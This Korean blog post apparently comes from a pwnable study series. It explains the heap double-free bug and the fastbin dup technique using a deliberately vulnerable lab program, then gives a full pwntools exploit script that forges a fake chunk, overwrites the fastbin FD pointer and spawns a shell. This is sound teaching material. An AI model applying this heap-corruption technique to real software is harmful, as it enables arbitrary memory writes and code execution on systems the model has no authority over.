profile image

L o a d i n g . . .

Double Free

Double Free는 해제된 힙 청크를 다시 해제할 때 발생하는 버그이다.

 

힙을 해제하면 bin이라는 연결 리스트에 추가되고, 이는 힙을 재할당할 때 참조된다.

해당 버그가 발생하면 연결 리스트에 중복된 힙 주소를 추가하기 때문에 두 개의 객체가 동일한 메모리를 사용할 수 있다.

// gcc -o dfb2 dfb2.c
#include <stdlib.h>
int main()
{
    char *ptr = malloc(32);     // 0x602010 
    char *ptr2 = malloc(32);    // 0x602040
	
    free(ptr);
    free(ptr2);
    free(ptr);
    return 0;
}

Double Free를 발생시키는 코드이다.

 

모두 free 한 이후에 fastbin[1] 의 모습은 다음과 같다.

ptr(0x602000) -> ptr2(0x602030) -> ptr(0x602000)

 

만약 fastbin에서 Double Free가 발생한 후 같은 bin의 크기로 할당 요청이 들어온다면 0x602030, 0x602000, 0x602030 주소에 순차적으로 힙을 할당하여 두 개의 객체가 하나의 메모리를 사용할 수 있게 된다.

 


Fastbin dup

fastbin dupDouble Free 버그를 이용하여 fastbin freelist를 조작해 이미 할당된 메모리에 다시 힙 청크를 할당하는 공격 기법이다.

-> 이를 이용하면 해제된 fastbin 힙 청크의 FD를 조작해 임의의 주소에 힙 청크를 할당 가능

// gcc -o fastbin_dup2 fastbin_dup2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[16];
int overwrite_me;
int main()
{
	int ch, idx;
	int i = 0;
	char *ptr[10];
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	printf("Name : ");
	read(0, name, 16);
	while (1) {
		printf("> ");
		scanf("%d", &ch);
		switch(ch) {
			case 1: 
				if( i >= 10 ) {
					printf("Do not overflow\n");
					exit(0);
				} 
				ptr[i] = malloc(32);
				printf("Data: ");
				read(0, ptr[i], 32-1);
				i++;
				break;
			case 2:
				printf("idx: ");
				scanf("%d", &idx);
				free(ptr[idx]);
				break;
			case 3:
				if( overwrite_me == 0xDEADBEEF ) {
					system("/bin/sh");
				}
				break;
			default:
				break;
		}
	}
	return 0;
}

위 코드는 32 바이트 크기의 힙을 할당, 해제할 수 있고 데이터를 입력할 수 있다.

 

익스플로잇 시나리오

1. 검증 우회를 위해 두 개의 힙을 할당

2. old와 p 포인터를 다르게 하여 Double Free를 발생시킴.

3. Double Free가 발생하여 데이터 입력 시 FD를 조작 가능. 데이터 입력 시 (overwrite_me 전역 변수의 주소-16 byte)를 FD 위치에 입력함.

4. 네 번째 할당 때 조작한 FD를 참조하여 할당하기 때문에 overwrite_me 전역 변수에 힙 청크가 할당된다. overwrite_me 전역 변수에 힙 청크가 할당되면 0xDEADBEEF 값을 입력하여 3번 메뉴를 통해 셸을 획득할 수 있다.

 

단, 이때 free된 chunk의 fd 위치에 overwrite_me 전역변수의 주소를 쓰면 안된다는 것이다.

fd 는 동일한 bin에 존재하는 다음 힙 청크 주소로, 메타 데이터를 포함하는 주소이다.

-> 우리가 사용하고 싶은 주소 - 16byte를 fd에 써주고, 우리가 사용하고 싶은 주소 - 8byte에 할당 받는 사이즈를 맞춰주는 사전작업을 해야 원하는 공간에 메모리를 할당 받을 수 있다.  

 

from pwn import *

p = process("./fastbin_dup2")
elf = ELF('fastbin_dup2')

def add(data):
	print p.sendlineafter(">","1")
	print p.sendlineafter(":",str(data))
    
def free(idx):
	print p.sendlineafter(">","2")
	print p.sendlineafter(":",str(idx))
    
def getshell():
	print p.sendlineafter(">","3")

fakechunk = p64(0)
fakechunk += p64(0x31)

p.sendlineafter("Name :", fakechunk)

add("AAAA") # 0
add("AAAA") # 1 

free(0)
free(1)
free(0)

overwrite_me_addr = elf.symbols['overwrite_me']
fake_chunk_name = elf.symbols['name']

add(p64(fake_chunk_name)) # 0x602010 : FD overwrite
add("AAAA") # 0x602030
add("BBBB") # 0x602010
add(p64(0xDEADBEEF)) # Arbitrary allocate, write
getshell()

p.interactive()

name 전역 변수에 Fake chunk를 구성하여 overwrite_me 전역 변수에 힙 청크를 할당하고 0xDEADBEEF를 입력하여 셸을 획득할 수 있다.

 

prev_size : 0

size : 0x31

->fastbin에서는 prev_size에 대한 검증이 없기 때문에 Fake chunk의 prev_size에는 0을 입력. 이후에 할당하려는 힙의 크기는 0x20이기 때문에 힙 청크의 메타데이터 크기를 포함한 0x31을 size로 입력.

 

할당자는 fastbin에 배치된 메모리를 재할당 할때 해당 chunk의 size를 확인하고, fd를 확인해서 list를 갱신한다.

-> 즉, 해당 주소가 힙인지 스택인지는 혹은 전역변수 영역인지 확인하지 않기에 가능한 공격.

 

 

 

참고 자료
dreamhack - heap exploitation
lazenca.net/pages/viewpage.action?pageId=1148143

'Hacking > Pwnable' 카테고리의 다른 글

[Heap exploitation] Use After Free  (0) 2021.05.11
[Heap exploitation] Heap Overflow  (0) 2021.05.08
[Pwnable] Heap3  (0) 2021.05.06
[Pwnable] Heap2  (0) 2021.05.05
[Pwnable] Heap1  (0) 2021.05.05
복사했습니다!